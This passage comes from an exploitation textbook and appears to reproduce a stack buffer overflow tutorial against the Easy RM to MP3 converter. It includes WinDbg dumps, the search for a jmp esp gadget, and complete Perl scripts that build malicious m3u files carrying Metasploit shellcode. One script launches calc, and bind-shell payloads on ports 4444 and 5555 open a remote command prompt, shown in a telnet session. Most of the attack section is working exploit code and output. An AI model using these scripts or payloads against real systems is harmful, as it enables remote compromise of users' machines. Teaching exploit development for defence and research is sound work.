000ff730 0000 add byte ptr [eax],al ds:0023:00000001=?? 0:000> d ESP 000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ...... 000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA 000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA So jumping directly to a memory address may not be a good solution after all. (000ff730

contains a null byte, which is a string terminator… so the A’s you are seeing are coming from the

first part of the buffer… We never reached the point where we started writing our data after

overwrite EIP…

Besides, using a memory address to jump to in an exploit would make the exploit very

unreliable. After all, this memory address could be different in other OS versions, languages,

etc…)

Long story short: we cannot just overwrite EIP with a direct memory address such as 000ff730.

It’s not a good idea because it would not be reliable, and it’s not a good idea because it contains

a null byte. We have to use another technique to achieve the same goal: make the application

jump to our own provided code. Ideally, we should be able to reference a register (or an offset

to a register), ESP in our case, and find a function that will jump to that register. Then we will

try to overwrite EIP with the address of that function and it should be time for pancakes and ice-

cream.

Jump to the shellcode in a reliable way We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a

different angle, ESP points directly at the beginning of our shellcode). If that would not have

been the case, we would have looked to the contents of other register addresses and hope to

find our buffer back. Anyways, in this particular example, we can use ESP.

The reasoning behind overwriting EIP with the address of ESP was that we want the application

to jump to ESP and run the shellcode.

Jumping to ESP is a very common thing in windows applications. In fact, Windows applications

use one or more DLL’s, and these DLL’s contains lots of code instructions. Furthermore, the

addresses used by these DLL’s are pretty static. So if we could find a DLL that contains the

instruction to jump to ESP, and if we could overwrite EIP with the address of that instruction in

that DLL, then it should work, right?

Let’s see. First of all, we need to figure out what the opcodes for “jmp esp” is.

Page 260: Hacker techniques, exploit and incident handling

259 | P a g e

We can do this by Launching Easy RM to MP3, then opening Windbg and hook Windbg to the

Easy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM to

MP3). This gives us the advantage that Windbg will see all DLL’s/modules that are loaded by the

application. (It will become clear why I mentioned this)

Upon attaching the debugger to the process, the application will break.

In the windbg command line, at the bottom of the screen, enter a (assemble) and press return

Now enter jmp esp and press return

Press return again.

Now enter u (unassemble) followed by the address that was shown before entering jmp esp

0:014> u 7c90120e ntdll!DbgBreakPoint: 7c90120e ffe4 jmp esp 7c901210 8bff mov edi,edi ntdll!DbgUserBreakPoint: 7c901212 cc int 3 7c901213 c3 ret 7c901214 8bff mov edi,edi 7c901216 8b442404 mov eax,dword ptr [esp+4] 7c90121a cc int 3 7c90121b c20400 ret 4 Next to 7c90120e, you can see ffe4. This is the opcodes for jmp ESP

Page 261: Hacker techniques, exploit and incident handling

260 | P a g e

Now we need to find this opcodes in one of the loaded DLL’s.

Look at the top of the Windbg window, and look for lines that indicate DLL’s that belong to the

Easy RM to MP3 application:

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** Wait with pending attach Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe ModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.DLL ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.DLL ModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.DLL ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.DLL ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.DLL ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.DLL ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.DLL ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.DLL ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.DLL ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.DLL ModLoad: 00330000 00339000 C:\WINDOWS\system32\Normaliz.DLL ModLoad: 78000000 78045000 C:\WINDOWS\system32\iertutil.DLL ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.DLL ModLoad: 73dd0000 73ece000 C:\WINDOWS\system32\MFC42.DLL ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.DLL ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.DLL ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.DLL ModLoad: 76080000 760e5000 C:\WINDOWS\system32\MSVCP60.DLL ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.DLL ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.DLL ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.DLL ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.DLL ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.DLL ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.DLL ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.DLL

Page 262: Hacker techniques, exploit and incident handling

261 | P a g e

ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.DLL ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.DLL ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.DLL ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.DLL ModLoad: 01fe0000 01ff1000 C:\WINDOWS\system32\MSVCIRT.DLL ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.DLL If we can find the opcode in one of these DLL’s, then we have a good chance of making the

exploit work reliably across windows platforms. If we need to use a DLL that belongs to the OS,

then we might find that the exploit does not work for other versions of the OS. So let’s search

the area of one of the Easy RM to MP3 DLL’s first.

We’ll look in the area of C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.DLL. This

DLL is loaded between 01b10000 and 01fd000. Search this area for ff e4:

0:014> s 01b10000 l 01fdd000 ff e4 01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$....... 01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T...... 01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... .......... 01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]....".. 01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J& 01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0... 01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y....... 01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........ 0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............

Excellent, we should not expect otherwise… jmp ESP is a pretty common instruction). When selecting an address, it is important to look for null bytes. You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data will become unusable).

Another good area to search for opcodes is

“s 70000000 l fffffff ff e4” (which would typically give results from windows DLL’s)

Note: there are other ways to get opcode addresses:

• findjmp (from Ryan Permeh) : compile findjmp.c and run with the following parameters :

Page 263: Hacker techniques, exploit and incident handling

262 | P a g e

Findjmp <DLLfile> <register>. Suppose you want to look for jumps to esp in kernel32.DLL, run “findjmp kernel32.DLL esp”

On Vista SP2, you should get something like this:

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.DLL for code useable with the ESP register

0x773AF74B call ESP

Finished Scanning kernel32.DLL for code useable with the ESP register

Found 1 usable addresses

• The MetaSploit opcode database • memdump (see one of the next tutorial posts • pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended

because it will automatically filter unreliable pointers.

Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this address would have null bytes, we would overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work.

Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address should not contain null bytes.

The first address will do: 0x01ccf23a

Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a):

0:014> u 01ccf23a MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea: 01ccf23a ffe4 jmp esp 01ccf23c ff8d4e10c744 dec dword ptr <Unloaded_POOL.DRV>+0x44c7104d (44c7104e)[ebp] 01ccf242 2410 and al,10h 01ccf244 ff ??? 01ccf245 ff ??? 01ccf246 ff ??? 01ccf247 ff ??? 01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)

If we now overwrite EIP with 0x01ccf23a, a jmp ESP will be executed. ESP contains our shellcode… so we should now have a working exploit. Let’s test with our “NOP & break” shellcode.

Close Windbg.

Create a new m3u file using the script below:

Page 264: Hacker techniques, exploit and incident handling

263 | P a g e

my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ccf23a); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug $shellcode = $shellcode."\x90" x 25; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfully\n"; (21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.DLL>+0xff734: 000ff745 cc int 3 0:000> d ESP 000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................ 000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................ 000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Run the application again, attach Windbg, press "g" to continue to run, and open the new m3u

file in the application.

The application now breaks at address 000ff745, which is the location of our first break. So the

jmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ff744).

All we need to do now is put in our real shellcode and finalize the exploit.

Close Windbg again.

Get shellcode and finalize the exploit MetaSploit has a nice payload generator that will help you building shellcode. Payloads come with various options, and (depending on what they need to do), can be small or very large. If you have a size limitation in terms of buffer space, then you might even want to look at multi-staged shellcode, or using specifically handcrafted shellcodes such as this one (32byte cmd.exe

Page 265: Hacker techniques, exploit and incident handling

264 | P a g e

shellcode for xp sp2 en). Alternatively, you can split up your shellcode in smaller ‘eggs’ and use a technique called ‘egg-hunting’ to reassemble the shellcode before executing it.

Let’s say we want calc to be executed as our exploit payload, and then the shellcode could look like this:

# windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca";

Finalize the perl script, and try it out:

# # Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 # Greetings to Saumil and SK :-) # # tested on Windows XP SP3 (En) # # # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL my $shellcode = "\x90" x 25; # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc $shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

Page 266: Hacker techniques, exploit and incident handling

265 | P a g e

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfully\n";

First, turn off the autopopup registry setting to prevent the debugger from taking over. Create the m3u file, open it and watch the application dies (and calc should be opened as well).

Boom! We have our first working exploit!

You may have noticed that I kept 25 nops (0×90) before the shellcode. Don’t worry about it too much right now. We will continue to learn about exploitation (and when you reach the chapter about writing shellcode), you will learn why this may be required.

What if you want to do something else than launching calc?

You could create other shellcode and replace the “launch calc” shellcode with your new shellcode, but this code may not run well because the shellcode may be bigger, memory locations may be different, and longer shellcode increases the risk on invalid characters in the shellcode, which need to be filtered out.

Let’s say we want the exploit bind to a port so a remote hacker could connect and get a command line.

Page 267: Hacker techniques, exploit and incident handling

266 | P a g e

This shellcode may look like this:

# windows/shell_bind_tcp - 344 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, LPORT=5555, RHOST= "\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" . "\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" . "\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" . "\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" . "\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" . "\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" . "\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" . "\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" . "\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" . "\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" . "\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" . "\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" . "\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" . "\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" . "\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" . "\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" . "\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" . "\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" . "\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" . "\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" . "\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" . "\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" . "\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" . "\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" . "\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

As you can see, this shellcode is 344 bytes long (and launching calc only took 144 bytes).

If you just copy & paste this shellcode, you may see that the vulnerable application does not even crash anymore.

This – most likely – indicates either a problem with the shellcode buffer size (but you can test the buffer size, you’ll notice that this is not the issue), or we are faced with invalid characters in the shellcode. You can exclude invalid characters when building the shellcode with MetaSploit, but you’ll have to know which characters are allowed and which aren’t. By default, null bytes are restricted (because they will break the exploit for sure), but what are the other characters?

Page 268: Hacker techniques, exploit and incident handling

267 | P a g e

The m3u file probably should contain filenames. So a good start would be to filter out all characters that are not allowed in filenames and file paths. You could also restrict the character set altogether by using another decoder. We have used shikata_ga_nai, but perhaps alpha_upper will work better for filenames. Using another encoded will most likely increase the shellcode length, but we have already seen (or we can simulate) that size is not a big issue.

Let’s try building a TCP shell bind, using the alpha_upper encoder. We’ll bind a shell to local port 4444. The new shellcode is 703 bytes.

# windows/shell_bind_tcp - 703 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= "\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" . "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" . "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" . "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" . "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" . "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" . "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" . "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" . "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" . "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" . "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" . "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" . "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" . "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" . "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" . "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" . "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" . <...> "\x50\x41\x41";

Let’s use this shellcode. The new exploit looks like this : P.S. I have manually broken the shellcode shown here. So if you copy & paste the exploit it will not work. But you should know by now how to make a working exploit.

# # Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 # Greetings to Saumil and SK :-) # # tested on Windows XP SP3 (En) #

Page 269: Hacker techniques, exploit and incident handling

268 | P a g e

# # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL my $shellcode = "\x90" x 25; # windows/shell_bind_tcp - 703 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= $shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" . "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" . "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" . "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" . "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" . "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" . "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" . "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" . "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" . "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" . "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" . "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" . "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" . "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" . "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" . "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" . "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" . "\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" . "\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" . "\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" . "\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" . "\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" . "\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" . "\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" . "\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" . "\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" . "\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" . "\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" . "\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" . "\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" . "\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .

Page 270: Hacker techniques, exploit and incident handling

269 | P a g e

"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" . "\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" . "\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" . "\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" . "\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" . "\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" . "\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" . "\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" . "\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" . "\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" . "\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" . "\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" . "\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" . "\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" . "\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" . "\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfully\n";

Create the m3u file, open it in the application. Easy RM to MP3 now seems to hang :

Telnet to this host on port 4444:

root@bt:/# telnet 192.168.0.197 4444 Trying 192.168.0.197... Connected to 192.168.0.197. Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Program Files\Easy RM to MP3 Converter>

Pat boom!

Now go out and build your own exploits. Don’t forget to make yourself some nice ASCII art, get a l33t name ☺

Page 271: Hacker techniques, exploit and incident handling

270 | P a g e

Heap Overflows

Most developers are aware of the dangers of stack based buffer overflows but too many still

believe that if a heap based buffer is overflowed it’s not too much of a problem.

One paper on secure coding suggested that to solve the problem of stack based overflows was

to move the buffer to the heap!

The heap is an area of memory used for storage of dynamic data. Every process has a default

process heap but a developer can create their own private heaps. Space is allocated from the

heap and freed when finished with.

